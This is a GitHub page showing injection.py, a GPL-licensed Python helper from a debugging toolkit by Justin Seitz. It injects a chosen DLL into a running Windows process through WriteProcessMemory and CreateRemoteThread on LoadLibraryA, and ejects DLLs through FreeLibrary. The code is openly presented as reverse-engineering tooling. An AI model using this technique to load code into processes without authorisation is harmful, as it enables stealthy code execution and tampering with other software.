-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathinjection.py
186 lines (142 loc) · 7.41 KB
/
injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# --- MODIFIED ---
#
# DLL Injection/Ejection Helper
# Copyright (C) 2007 Justin Seitz <[email protected]>
#
# $Id: injection.py 238 2010-04-05 20:40:46Z rgovostes $
#
# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free
# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
'''
@author: Justin Seitz
@license: GNU General Public License 2.0 or later
@contact: [email protected]
@organization: www.openrce.org
'''
import os.path
from pydbg import * #@UnusedWildImport
from pydbg.defines import * #@UnusedWildImport
from pydbg.my_ctypes import * #@UnusedWildImport
# macos compatability.
try:
kernel32 = windll.kernel32
except:
kernel32 = CDLL(os.path.join(os.path.dirname(__file__), "libmacdll.dylib"))
########################################################################################################################
class inject:
'''
This class abstracts the ability to inject and eject a DLL into a remote process.
'''
####################################################################################################################
def __init__ (self):
pass
####################################################################################################################
def inject_dll (self, dll_path, pid):
'''
Inject a DLL of your choice into a running process.
@type dll_name: String
@param dll_name: The path to the DLL you wish to inject
@type pid: Integer
@param pid: The process ID that you wish to inject into
@raise pdx: An exception is raised on failure.
'''
dll_len = len(dll_path)
# get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
# now we have to allocate enough bytes for the name and path of our DLL.
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)
# Write the path of the DLL into the previously allocated space. The pointer returned
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))
# resolve the address of LoadLibraryA()
h_kernel32 = kernel32.GetModuleHandleA("kernel32")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
# now we try to create the remote thread.
h_thread = kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, None)
if not h_thread:
# free the opened handles.
kernel32.CloseHandle(h_process)
kernel32.CloseHandle(h_kernel32)
raise pdx("CreateRemoteThread failed, unable to inject the DLL %s into PID: %d." % (dll_path, pid), True)
#kernel32.WaitForSingleObject(h_thread, -1)
exit_code = c_ulong(0)
kernel32.GetExitCodeThread(h_thread, byref(exit_code))
# free the opened handles.
kernel32.CloseHandle(h_process)
kernel32.CloseHandle(h_kernel32)
return exit_code.value
####################################################################################################################
def eject_dll (self, dll_name, pid):
'''
Eject a loaded DLL from a running process.
@type dll_name: String
@param dll_name: The name of the DLL you wish to eject
@type pid: Integer
@param pid: The process ID that you want to eject a DLL from
@raise pdx: An exception is raised on failure.
'''
# find the DLL and retrieve its information.
ejectee = self.get_module_info(dll_name, pid)
if ejectee == False:
raise pdx("Couldn't eject DLL %s from PID: %d" % (dll_name, pid))
# open the process.
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
# resolve the address of FreeLibrary()
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_freelib = kernel32.GetProcAddress(h_kernel32, "FreeLibrary")
# now we try to create the remote thread hopefully freeing that DLL, the reason we loop is that
# FreeLibrary() merely decrements the reference count of the DLL we are freeing. Once the ref count
# hits 0 it will unmap the DLL from memory
count = 0
while count <= ejectee.GlblcntUsage:
thread_id = c_ulong()
if not kernel32.CreateRemoteThread(h_process, None, 0, h_freelib, ejectee.hModule, 0, byref(thread_id)):
# free the opened handles.
kernel32.CloseHandle(h_process)
kernel32.CloseHandle(h_kernel32)
raise pdx("CreateRemoteThread failed, couldn't run FreeLibrary()", True)
count += 1
# free the opened handles.
kernel32.CloseHandle(h_process)
kernel32.CloseHandle(h_kernel32)
##############################################################################
def get_module_info (self, dll_name, pid):
'''
Helper function to retrieve the necessary information for the DLL we wish to eject.
@type dll_name: String
@param dll_name: The name of the DLL you wish to eject
@type pid: Integer
@param pid: The process ID that you want to eject a DLL from
@raise pdx: An exception is raised on failure.
'''
# we create a snapshot of the current process, this let's us dig out all kinds of useful information, including
# DLL info. We are really after the reference count so that we can decrement it enough to get rid of the DLL we
# want unmapped
current_process = MODULEENTRY32()
h_snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid)
# check for a failure to create a valid snapshot
if h_snap == INVALID_HANDLE_VALUE:
raise pdx("CreateToolHelp32Snapshot() failed.", True)
# we have to initiliaze the size of the MODULEENTRY32 struct or this will all fail
current_process.dwSize = sizeof(current_process)
# check to make sure we have a valid list
if not kernel32.Module32First(h_snap, byref(current_process)):
kernel32.CloseHandle(h_snap)
raise pdx("Couldn't find a valid reference to the module %s" % dll_name, True)
# keep looking through the loaded modules to try to find the one specified for ejection.
while current_process.szModule.lower() != dll_name.lower():
if not kernel32.Module32Next(h_snap, byref(current_process)):
kernel32.CloseHandle(h_snap)
raise pdx("Couldn't find the DLL %s" % dll_name, True)
# close the handle to the snapshot.
kernel32.CloseHandle(h_snap)
# return the MODULEENTRY32 structure of our DLL.
return current_process